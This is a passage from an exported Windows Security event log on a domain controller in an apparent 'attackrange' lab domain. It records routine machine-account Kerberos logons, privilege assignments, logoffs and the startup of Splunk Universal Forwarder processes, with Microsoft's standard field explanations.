ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255580
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32EA4F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64540

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:22:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255579
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32EA4F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:22:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255578
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32E9E3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:22:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255577
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32E9E3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64539

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:22:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255576
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32E9E3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255595
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255594
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32EE90

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255593
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32EFD8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255592
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32F021

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255591
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32F0A4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64547

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255590
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32F0A4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255589
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32F021
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64546

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255588
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32F021

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255587
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32EFD8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255586
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32EFD8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255585
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32EE90
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64545

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255584
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32EE90

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255583
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x32EE66
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64544

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:22:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255582
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x32EE66

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:22:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255596
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255598
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x694
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:22:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255597
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:22:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255600
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:22:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255599
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:22:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
